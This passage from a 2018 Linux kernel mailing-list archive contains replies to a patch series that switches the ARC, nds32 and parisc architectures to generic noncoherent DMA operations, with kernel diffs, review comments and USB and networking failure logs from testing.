x-originating-ip: [10.121.8.87]
Content-ID: <213720B0788595488614ECA66BA22CC2@internal.synopsys.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180425_041720_212591_F31407FE 
X-CRM114-Status: GOOD (  15.38  )
X-Spam-Score: -0.0 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [198.182.60.111 listed in list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:645918 gmane.linux.kernel.cross-arch:43676 gmane.linux.kernel.arc:3839 gmane.linux.ports.parisc:28566 gmane.linux.ports.sh.devel:56918 gmane.linux.ports.hexagon:1679 gmane.linux.kernel:2751010 gmane.linux.ports.alpha:4997 gmane.linux.ports.sparc:27781
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/645918>

Hi Christoph,

On Fri, 2018-04-20 at 10:02 +0200, Christoph Hellwig wrote:
> Switch to the generic noncoherent direct mapping implementation.
> 
> Signed-off-by: Christoph Hellwig <hch@lst.de>
> ---
>  arch/arc/Kconfig                   |   4 +
>  arch/arc/include/asm/Kbuild        |   1 +
>  arch/arc/include/asm/dma-mapping.h |  21 -----
>  arch/arc/mm/dma.c                  | 141 +++--------------------------
>  4 files changed, 19 insertions(+), 148 deletions(-)
>  delete mode 100644 arch/arc/include/asm/dma-mapping.h
> 

[snip]

> @@ -135,7 +134,7 @@ static int arc_dma_mmap(struct device *dev, struct vm_area_struct *vma,
>   * CPU accesses page via normal paddr, thus needs to explicitly made
>   * consistent before each use
>   */
> -static void _dma_cache_sync(phys_addr_t paddr, size_t size,
> +static void _dma_cache_sync(struct device *dev, phys_addr_t paddr size_t size,
>  		enum dma_data_direction dir)

Seems like there's a missing comma:
----------------------------------->8------------------------------------
--- a/arch/arc/mm/dma.c
+++ b/arch/arc/mm/dma.c
@@ -134,7 +134,7 @@ int arch_dma_mmap(struct device *dev, struct vm_area_struct *vma,
  * CPU accesses page via normal paddr, thus needs to explicitly made
  * consistent before each use
  */
-static void _dma_cache_sync(struct device *dev, phys_addr_t paddr size_t size,
+static void _dma_cache_sync(struct device *dev, phys_addr_t paddr, size_t size,
                enum dma_data_direction dir)
 {
        switch (dir) {
----------------------------------->8------------------------------------

Which is actually strange as I would expect ARC code to be built by bots.

Anyways with above fix I do see problems with both USB and Ethernet controllers
on ARC HSDK board.
----------------------------------->8------------------------------------
usb 1-1: new high-speed USB device number 2 using ehci-platform
usb 1-1: device descriptor read/64, error -32
usb 1-1: device descriptor read/64, error -32
usb 1-1: new high-speed USB device number 3 using ehci-platform
usb 1-1: device descriptor read/64, error -32
usb 1-1: device descriptor read/64, error -32
usb usb1-port1: attempt power cycle
usb 1-1: new high-speed USB device number 4 using ehci-platform
usb 1-1: device not accepting address 4, error -32
usb 1-1: new high-speed USB device number 5 using ehci-platform
usb 1-1: device not accepting address 5, error -32

...

# wget ftp://ftp.denx.de/pub/u-boot/u-boot-1.0.0.tar.bz2
Connecting to ftp.denx.de (81.169.202.6:21)
wget: can't connect to remote host (81.169.202.6): No route to host
----------------------------------->8------------------------------------

Will all patches from the series reverted (i.e. with
your base-line) all issues go away.

I'll need to spend more time on checking what's actually wrong.

-Alexey

P.S. Note to my ARC colleagues - it's required to disable IO Coherency
to get DMA ops really used, it could be obviously done with:
----------------------------------->8------------------------------------
--- a/arch/arc/mm/cache.c
+++ b/arch/arc/mm/cache.c
@@ -27,7 +27,7 @@
 
 static int l2_line_sz;
 static int ioc_exists;
-int slc_enable = 1, ioc_enable = 1;
+int slc_enable = 1, ioc_enable = 0;
 unsigned long perip_base = ARC_UNCACHED_ADDR_SPACE; /* legacy value for boot */
 unsigned long perip_end = 0xFFFFFFFF; /* legacy value */
----------------------------------->8------------------------------------

From - Thu Nov 08 21:41:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Greentime Hu <green.hu@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: [PATCH 13/22] nds32: use generic dma_noncoherent_ops
Date: Wed, 25 Apr 2018 20:25:55 +0800
Lines: 325
Approved: news@gmane.org
Message-ID: <CAEbi=3fcd8E=xi_hbef45LnPsBZhZv37yPO-xfZmU1gMaWnDvg@mail.gmail.com>
References: <20180420080313.18796-1-hch@lst.de> <20180420080313.18796-14-hch@lst.de>
 <CAEbi=3fkakVD2vxGu6SgJM77JnNM8Y79xS8_o6m9d_85BJpMFQ@mail.gmail.com>
 <20180424191640.GA32495@lst.de> <CAEbi=3f7yzE+KAM2GOh6QahC_E6BAUfB3ys3U-WdBSUf3DPZqg@mail.gmail.com>
 <20180425064055.GA11460@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1524659087 24723 195.159.176.226 (25 Apr 2018 12:24:47 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 25 Apr 2018 12:24:47 +0000 (UTC)
Cc: linux-arch <linux-arch@vger.kernel.org>,
        Michal Simek <monstr@monstr.eu>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux <sparclinux@vger.kernel.org>,
        linux-xtensa@linux-xtensa.org,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
To: Christoph Hellwig <hch@lst.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Apr 25 14:24:42 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fBJTV-0003sz-MJ
	for glk-linux-kernel-4@m.gmane.org; Wed, 25 Apr 2018 14:24:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753799AbeDYM0v (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 25 Apr 2018 08:26:51 -0400
Original-Received: from mail-vk0-f65.google.com ([209.85.213.65]:44610 "EHLO
        mail-vk0-f65.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752924AbeDYM0i (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 25 Apr 2018 08:26:38 -0400
Original-Received: by mail-vk0-f65.google.com with SMTP id r184so13681356vke.11;
        Wed, 25 Apr 2018 05:26:37 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc;
        bh=w/Wmv3PocXIv+SCTwr0sWS75lM/EgokOzpi2r8Yun2Q=;
        b=MxmQtCZ+6c3nh77+/e/abztbjjK+NJwWc2TeSQ8N0aTHGTR9pjKsjgon+ghNxF+osR
         KH64+jpzq/sXR8/YpfLWuyKp89yj9j0IuzyWynpWHIbOQgXOpuj75X3j9NN1gaMOJ9RK
         id2sseqwZYfbp8Wmjkd0uND4klUHGO8RYFtO40dMwLgzQ5q/GHiKmY0JQOe7JY7vWwaA
         nPSeLYbE3aDq8uxJkef6+sgGrpXrACtAOxBJqBumwCOQvd2hhK7dkBCNUc7Y2qtdUwKT
         tla0loqJxJCSRSNPGGUw7yXWYapJlYpZyVmHm31PXArpCK6QvtJoNo8z6Kn1uC3Fit9I
         MoAQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc;
        bh=w/Wmv3PocXIv+SCTwr0sWS75lM/EgokOzpi2r8Yun2Q=;
        b=aR+7SjWilYm33fcXZysImGqtcgBJK4YRfh+0NDnaCXuWMcuMQxQmG/F6yDGMfeC0Qd
         34YmgxT0C+j41xkOPhwGvziC8DcT+x8/BNULHIYO9/b9Bx20pW/qWbxPEA9A9WYaLGSJ
         u4D83mvoK+2wnwNULYaXLIElvixgUNP7zFlEPmSa9OGewcaYUkJMMtq5RL4WyIVbM0Hz
         CKDMU8p8sFywnT3EhtkhtgGxVwXhoy4WEVp17pY/PNxVgJAJ9eukf+SY7BwChLPoEcGR
         dBqgNdz9aPcsp7vl/5BMP9n2MOjLgRJgZuRQlKe3BCl0RZRBZe2CbWfUOXjWxkLKSufE
         Z9Ng==
X-Gm-Message-State: ALQs6tBKFKwP8EyznM2FLGmC3HgSpHOcUIkeGXGVqoITH0EdI05iDKuo
        aj/yDtBwfOE6sii2TTga8KCdFoIwqaqQ/mLTe8I=
X-Google-Smtp-Source: AB8JxZqWsDIdsNmy/3tU3ds+zHACztvOj/ZgwTSQFqEkaJiJnmEkj+aj+WMvtpkFOSCbrz9ZQnbmQPrpnkGG0Epi+jc=
X-Received: by 10.31.169.145 with SMTP id s139mr13398360vke.54.1524659196366;
 Wed, 25 Apr 2018 05:26:36 -0700 (PDT)
Original-Received: by 10.176.92.86 with HTTP; Wed, 25 Apr 2018 05:25:55 -0700 (PDT)
In-Reply-To: <20180425064055.GA11460@lst.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2751125 gmane.linux.kernel.cross-arch:43681 gmane.linux.ports.alpha:4998 gmane.linux.kernel.arc:3840 gmane.linux.ports.arm.kernel:645932 gmane.linux.ports.hexagon:1680 gmane.linux.ports.parisc:28567 gmane.linux.ports.sh.devel:56919 gmane.linux.ports.sparc:27782
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2751125>

2018-04-25 14:40 GMT+08:00 Christoph Hellwig <hch@lst.de>:
> On Wed, Apr 25, 2018 at 09:43:43AM +0800, Greentime Hu wrote:
>> Hi Crhistoph,
>>
>> The ftmac100 works if I revert this commit.
>
> Thanks.  ftmac100 only use dma_map_page, which in the old nds32 code
> is just doing a plain page_address and never kmaps.  Can you apply
> the patch below on the tree with the origin "nds32: use generic
> dma_noncoherent_ops" reverted?  This always just uses page_address,
> although that, just like the original code is broken if you actually
> have highmem that needs to be mapped:
>

Hi, Christoph,

It still failed.

> ---
> From 1dc5d1cae4cd7b9ce03d0e2943364ed4cca938d7 Mon Sep 17 00:00:00 2001
> From: Christoph Hellwig <hch@lst.de>
> Date: Mon, 16 Apr 2018 19:20:30 +0200
> Subject: nds32: use generic dma_noncoherent_ops
>
> Switch to the generic noncoherent direct mapping implementation.
>
> This makes sure the cache_sync routines is called in the unmap_sg
> case, to match the unmap_single and sync_{single,sg}_to_cpu cases.
>
> Signed-off-by: Christoph Hellwig <hch@lst.de>
> ---
>  arch/nds32/Kconfig                   |   3 +
>  arch/nds32/include/asm/Kbuild        |   1 +
>  arch/nds32/include/asm/dma-mapping.h |  14 ---
>  arch/nds32/kernel/dma.c              | 182 +++++----------------------
>  4 files changed, 37 insertions(+), 163 deletions(-)
>  delete mode 100644 arch/nds32/include/asm/dma-mapping.h
>
> diff --git a/arch/nds32/Kconfig b/arch/nds32/Kconfig
> index 249f38d3388f..67d0ac0a989c 100644
> --- a/arch/nds32/Kconfig
> +++ b/arch/nds32/Kconfig
> @@ -5,10 +5,13 @@
>
>  config NDS32
>          def_bool y
> +       select ARCH_HAS_SYNC_DMA_FOR_CPU
> +       select ARCH_HAS_SYNC_DMA_FOR_DEVICE
>         select ARCH_WANT_FRAME_POINTERS if FTRACE
>         select CLKSRC_MMIO
>         select CLONE_BACKWARDS
>         select COMMON_CLK
> +       select DMA_NONCOHERENT_OPS
>         select GENERIC_ATOMIC64
>         select GENERIC_CPU_DEVICES
>         select GENERIC_CLOCKEVENTS
> diff --git a/arch/nds32/include/asm/Kbuild b/arch/nds32/include/asm/Kbuild
> index 06bdf8167f5a..b3e951f805f8 100644
> --- a/arch/nds32/include/asm/Kbuild
> +++ b/arch/nds32/include/asm/Kbuild
> @@ -13,6 +13,7 @@ generic-y += cputime.h
>  generic-y += device.h
>  generic-y += div64.h
>  generic-y += dma.h
> +generic-y += dma-mapping.h
>  generic-y += emergency-restart.h
>  generic-y += errno.h
>  generic-y += exec.h
> diff --git a/arch/nds32/include/asm/dma-mapping.h b/arch/nds32/include/asm/dma-mapping.h
> deleted file mode 100644
> index 2dd47d245c25..000000000000
> --- a/arch/nds32/include/asm/dma-mapping.h
> +++ /dev/null
> @@ -1,14 +0,0 @@
> -// SPDX-License-Identifier: GPL-2.0
> -// Copyright (C) 2005-2017 Andes Technology Corporation
> -
> -#ifndef ASMNDS32_DMA_MAPPING_H
> -#define ASMNDS32_DMA_MAPPING_H
> -
> -extern struct dma_map_ops nds32_dma_ops;
> -
> -static inline struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
> -{
> -       return &nds32_dma_ops;
> -}
> -
> -#endif
> diff --git a/arch/nds32/kernel/dma.c b/arch/nds32/kernel/dma.c
> index d291800fc621..78311a1e6fd1 100644
> --- a/arch/nds32/kernel/dma.c
> +++ b/arch/nds32/kernel/dma.c
> @@ -3,17 +3,14 @@
>
>  #include <linux/types.h>
>  #include <linux/mm.h>
> -#include <linux/export.h>
>  #include <linux/string.h>
> -#include <linux/scatterlist.h>
> -#include <linux/dma-mapping.h>
> +#include <linux/dma-noncoherent.h>
>  #include <linux/io.h>
>  #include <linux/cache.h>
>  #include <linux/highmem.h>
>  #include <linux/slab.h>
>  #include <asm/cacheflush.h>
>  #include <asm/tlbflush.h>
> -#include <asm/dma-mapping.h>
>  #include <asm/proc-fns.h>
>
>  /*
> @@ -22,11 +19,6 @@
>  static pte_t *consistent_pte;
>  static DEFINE_RAW_SPINLOCK(consistent_lock);
>
> -enum master_type {
> -       FOR_CPU = 0,
> -       FOR_DEVICE = 1,
> -};
> -
>  /*
>   * VM region handling support.
>   *
> @@ -124,10 +116,8 @@ static struct arch_vm_region *vm_region_find(struct arch_vm_region *head,
>         return c;
>  }
>
> -/* FIXME: attrs is not used. */
> -static void *nds32_dma_alloc_coherent(struct device *dev, size_t size,
> -                                     dma_addr_t * handle, gfp_t gfp,
> -                                     unsigned long attrs)
> +void *arch_dma_alloc(struct device *dev, size_t size, dma_addr_t *handle,
> +               gfp_t gfp, unsigned long attrs)
>  {
>         struct page *page;
>         struct arch_vm_region *c;
> @@ -232,8 +222,8 @@ static void *nds32_dma_alloc_coherent(struct device *dev, size_t size,
>         return NULL;
>  }
>
> -static void nds32_dma_free(struct device *dev, size_t size, void *cpu_addr,
> -                          dma_addr_t handle, unsigned long attrs)
> +void arch_dma_free(struct device *dev, size_t size, void *cpu_addr,
> +               dma_addr_t handle, unsigned long attrs)
>  {
>         struct arch_vm_region *c;
>         unsigned long flags, addr;
> @@ -333,145 +323,39 @@ static int __init consistent_init(void)
>  }
>
>  core_initcall(consistent_init);
> -static void consistent_sync(void *vaddr, size_t size, int direction, int master_type);
> -static dma_addr_t nds32_dma_map_page(struct device *dev, struct page *page,
> -                                    unsigned long offset, size_t size,
> -                                    enum dma_data_direction dir,
> -                                    unsigned long attrs)
> -{
> -       if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
> -               consistent_sync((void *)(page_address(page) + offset), size, dir, FOR_DEVICE);
> -       return page_to_phys(page) + offset;
> -}
>
> -static void nds32_dma_unmap_page(struct device *dev, dma_addr_t handle,
> -                                size_t size, enum dma_data_direction dir,
> -                                unsigned long attrs)
> +void arch_sync_dma_for_device(struct device *dev, phys_addr_t paddr,
> +               size_t size, enum dma_data_direction dir)
>  {
> -       if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
> -               consistent_sync(phys_to_virt(handle), size, dir, FOR_CPU);
> -}
> -
> -/*
> - * Make an area consistent for devices.
> - */
> -static void consistent_sync(void *vaddr, size_t size, int direction, int master_type)
> -{
> -       unsigned long start = (unsigned long)vaddr;
> -       unsigned long end = start + size;
> -
> -       if (master_type == FOR_CPU) {
> -               switch (direction) {
> -               case DMA_TO_DEVICE:
> -                       break;
> -               case DMA_FROM_DEVICE:
> -               case DMA_BIDIRECTIONAL:
> -                       cpu_dma_inval_range(start, end);
> -                       break;
> -               default:
> -                       BUG();
> -               }
> -       } else {
> -               /* FOR_DEVICE */
> -               switch (direction) {
> -               case DMA_FROM_DEVICE:
> -                       break;
> -               case DMA_TO_DEVICE:
> -               case DMA_BIDIRECTIONAL:
> -                       cpu_dma_wb_range(start, end);
> -                       break;
> -               default:
> -                       BUG();
> -               }
> +       void *addr = phys_to_virt(paddr);
> +       unsigned long start = (unsigned long)addr;
> +
> +       switch (dir) {
> +       case DMA_FROM_DEVICE:
> +               break;
> +       case DMA_TO_DEVICE:
> +       case DMA_BIDIRECTIONAL:
> +               cpu_dma_wb_range(start, start + size);
> +               break;
> +       default:
> +               BUG();
>         }
>  }
>
> -static int nds32_dma_map_sg(struct device *dev, struct scatterlist *sg,
> -                           int nents, enum dma_data_direction dir,
> -                           unsigned long attrs)
> +void arch_sync_dma_for_cpu(struct device *dev, phys_addr_t paddr,
> +               size_t size, enum dma_data_direction dir)
>  {
> -       int i;
> -
> -       for (i = 0; i < nents; i++, sg++) {
> -               void *virt;
> -               unsigned long pfn;
> -               struct page *page = sg_page(sg);
> -
> -               sg->dma_address = sg_phys(sg);
> -               pfn = page_to_pfn(page) + sg->offset / PAGE_SIZE;
> -               page = pfn_to_page(pfn);
> -               if (PageHighMem(page)) {
> -                       virt = kmap_atomic(page);
> -                       consistent_sync(virt, sg->length, dir, FOR_CPU);
> -                       kunmap_atomic(virt);
> -               } else {
> -                       if (sg->offset > PAGE_SIZE)
> -                               panic("sg->offset:%08x > PAGE_SIZE\n",
> -                                     sg->offset);
> -                       virt = page_address(page) + sg->offset;
> -                       consistent_sync(virt, sg->length, dir, FOR_CPU);
> -               }
> +       void *addr = phys_to_virt(paddr);
> +       unsigned long start = (unsigned long)addr;
> +
> +       switch (dir) {
> +       case DMA_TO_DEVICE:
> +               break;
> +       case DMA_FROM_DEVICE:
> +       case DMA_BIDIRECTIONAL:
> +               cpu_dma_inval_range(start, start + size);
> +               break;
> +       default:
> +               BUG();
>         }
> -       return nents;
>  }
> -
> -static void nds32_dma_unmap_sg(struct device *dev, struct scatterlist *sg,
> -                              int nhwentries, enum dma_data_direction dir,
> -                              unsigned long attrs)
> -{
> -}
> -
> -static void
> -nds32_dma_sync_single_for_cpu(struct device *dev, dma_addr_t handle,
> -                             size_t size, enum dma_data_direction dir)
> -{
> -       consistent_sync((void *)phys_to_virt(handle), size, dir, FOR_CPU);
> -}
> -
> -static void
> -nds32_dma_sync_single_for_device(struct device *dev, dma_addr_t handle,
> -                                size_t size, enum dma_data_direction dir)
> -{
> -       consistent_sync((void *)phys_to_virt(handle), size, dir, FOR_DEVICE);
> -}
> -
> -static void
> -nds32_dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sg, int nents,
> -                         enum dma_data_direction dir)
> -{
> -       int i;
> -
> -       for (i = 0; i < nents; i++, sg++) {
> -               char *virt =
> -                   page_address((struct page *)sg->page_link) + sg->offset;
> -               consistent_sync(virt, sg->length, dir, FOR_CPU);
> -       }
> -}
> -
> -static void
> -nds32_dma_sync_sg_for_device(struct device *dev, struct scatterlist *sg,
> -                            int nents, enum dma_data_direction dir)
> -{
> -       int i;
> -
> -       for (i = 0; i < nents; i++, sg++) {
> -               char *virt =
> -                   page_address((struct page *)sg->page_link) + sg->offset;
> -               consistent_sync(virt, sg->length, dir, FOR_DEVICE);
> -       }
> -}
> -
> -struct dma_map_ops nds32_dma_ops = {
> -       .alloc = nds32_dma_alloc_coherent,
> -       .free = nds32_dma_free,
> -       .map_page = nds32_dma_map_page,
> -       .unmap_page = nds32_dma_unmap_page,
> -       .map_sg = nds32_dma_map_sg,
> -       .unmap_sg = nds32_dma_unmap_sg,
> -       .sync_single_for_device = nds32_dma_sync_single_for_device,
> -       .sync_single_for_cpu = nds32_dma_sync_single_for_cpu,
> -       .sync_sg_for_cpu = nds32_dma_sync_sg_for_cpu,
> -       .sync_sg_for_device = nds32_dma_sync_sg_for_device,
> -};
> -
> -EXPORT_SYMBOL(nds32_dma_ops);
> --
> 2.17.0
>


From - Thu Nov 08 21:41:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH 22/22] parisc: use generic dma_noncoherent_ops
Date: Wed, 25 Apr 2018 23:07:57 +0200
Lines: 14
Approved: news@gmane.org
Message-ID: <84d9e1ac-86c3-6f2e-377f-2be44783b933@gmx.de>
References: <20180420080313.18796-1-hch@lst.de>
 <20180420080313.18796-23-hch@lst.de>
 <e0b4f3be-68b9-c3af-e432-fd20419e2d70@gmx.de> <20180425072105.GA12308@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1524690382 10297 195.159.176.226 (25 Apr 2018 21:06:22 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 25 Apr 2018 21:06:22 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
Cc: linux-arch@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
 Vincent Chen <deanbo422@gmail.com>, linux-c6x-dev@linux-c6x.org,
 linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
 linux-hexagon@vger.kernel.org, linux-kernel@vger.kernel.org,
 linux-m68k@lists.linux-m68k.org, openrisc@lists.librecores.org,
 Greentime Hu <green.hu@gmail.com>, linux-alpha@vger.kernel.org,
 sparclinux@vger.kernel.org, nios2-dev@lists.rocketboards.org,
 linux-snps-arc@lists.infradead.org, linux-arm-kernel@lists.infradead.org
To: Christoph Hellwig <hch@lst.de>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Wed Apr 25 23:06:16 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1fBRcD-0002V9-SI
	for gla-linux-snps-arc@m.gmane.org; Wed, 25 Apr 2018 23:06:14 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:Date:
	Message-ID:From:References:To:Subject:Reply-To:Content-ID:Content-Description
	:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=U6rUcsWRua80aW+xpiVyPDNjvXwbchojUvkwkPKPnZk=; b=nxZl3zqHkihfbk
	pcV1l6bJtZvk7H3e2EjtveTRUdoHIumQuORN5YRLcJk4v79lyGBVWrTvTY6V7U7AJFxbajf7fInH/
	7Hh+I8ekStgxBRK6B8VKmklCCQT1zP5+9Sna0V96yyLhQo1MkAXG/IeILVYjin/JmplPeFa4Rz2pJ
	adraGe47PLZBX8MsWn2ST/9qVH781kzJ/fY5PpkSVhwyNJEQiAODqttd6ZAAq3O0wZAppk1d4fDjq
	5aS0wLnyzYYPkMgq5R/mz8l0e20mYEVDiIEFQqbT7lM2Fj34s5psQlKRgG/C9h7jkb1VOf+z1tntq
	dd24gaHHZZ54jm23YN9g==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fBReH-0003Fe-M0; Wed, 25 Apr 2018 21:08:21 +0000
Original-Received: from mout.gmx.net ([212.227.17.20])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1fBReF-0003Ep-CG; Wed, 25 Apr 2018 21:08:21 +0000
Original-Received: from [10.1.200.2] ([217.113.178.17]) by mail.gmx.com (mrgmx102
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MZwYd-1ext8h1CwR-00Ll99; Wed, 25
 Apr 2018 23:08:00 +0200
In-Reply-To: <20180425072105.GA12308@lst.de>
Content-Language: en-US
X-Provags-ID: V03:K1:wq8qm8fnDmtjl1RJ/c9wqUG9WGQC4zJhUgZvND2ybWW/ht8/tzH
 Fmm7U3J5dxJT5gCmWLc6PN8XmxC8am7DOfls6El4jOxzBpgaE07lAVUdBWpL4UwlvE1nvuQ
 Bva1ECQCkXWis9YFBzdrrQE0CHx7uB8mZrLd0DhjcXNCOPqjdyS+66tyZHjIZ0VAHt4EP2m
 7ccFmyyBZw/IyQNlXuWdQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:hrdpd07IxKM=:qAKZE4f58vqhOpnbNS0EL+
 dgpOOw2eK47e/7dGNWy6b0sRNhkjib72nhfJIybMERArCQBX3fEEcRwryFclOze/xp5T+tW2W
 eG1QRaHE+A4M1JtZdmhXjfvIzKL008aPZPF/zdAMiVVfv+USvvIbj//fw58+hFpB1oB3UoTee
 QpiRoFTvpvyQYQmL5XbODTZRYVUjQpJODk7LnCeDZtM/MjHqKF85Qf6mffPfDBnWwuBFXA43p
 /UE/bcvQDeCj5WU8vUqPwTraOvE0IIJ98iJXpIBPdlC42s6bUOeAwRPPztHrY4HaR1pcBwlPm
 bVuufZguILXh+KIKgISYbeUVLLX2Orip59jxSp9ijETtYNTQ8PiczN0QJ875mPp69LAdkBzn0
 aA+dHWq5rcZADZefCUxEViRVHBAcvWRcWsGCHVdHERjGXMu6TyJrNXgq/sPI7jgFuD9Oj/Usa
 AQP5zyIh5d2BKMQfVmjVTm5gMbdJsXSkWUSjbHPvqnAJC0k5XOViYjoqylwT7JHsspS4Kiioj
 LNtMkaQjLdINHq8iB6kKTNPoMC3ny0kNIKwVQ/qkMvTW96gti4xwXC51kkOUIg/VCWwS6mE1H
 YzZ9w3HDkzqA5xQ6J2o1D+FXewAVo6ru2XiNgHOXek2oeKnZUwiVobNDbY0lnF3n4oZAh6aoy
 7yd2bYf1t4JNNYi4qaCfcyQWX7FnZkfVv83f5cNoJirUmwqqftbUvzsgnjzpikkApIZ6heNcA
 QCSduKf3nK2gpXcPh9rLfdY9uxmCUhsb8OF+Hj67IOma8y6FUZbidsQoaaoocP7VCmHkp+IT 
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180425_140819_760788_947CD932 
X-CRM114-Status: GOOD (  12.17  )
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [212.227.17.20 listed in list.dnswl.org]
 0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
 (deller[at]gmx.de)
 -0.0 SPF_PASS               SPF: sender matches SPF record
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
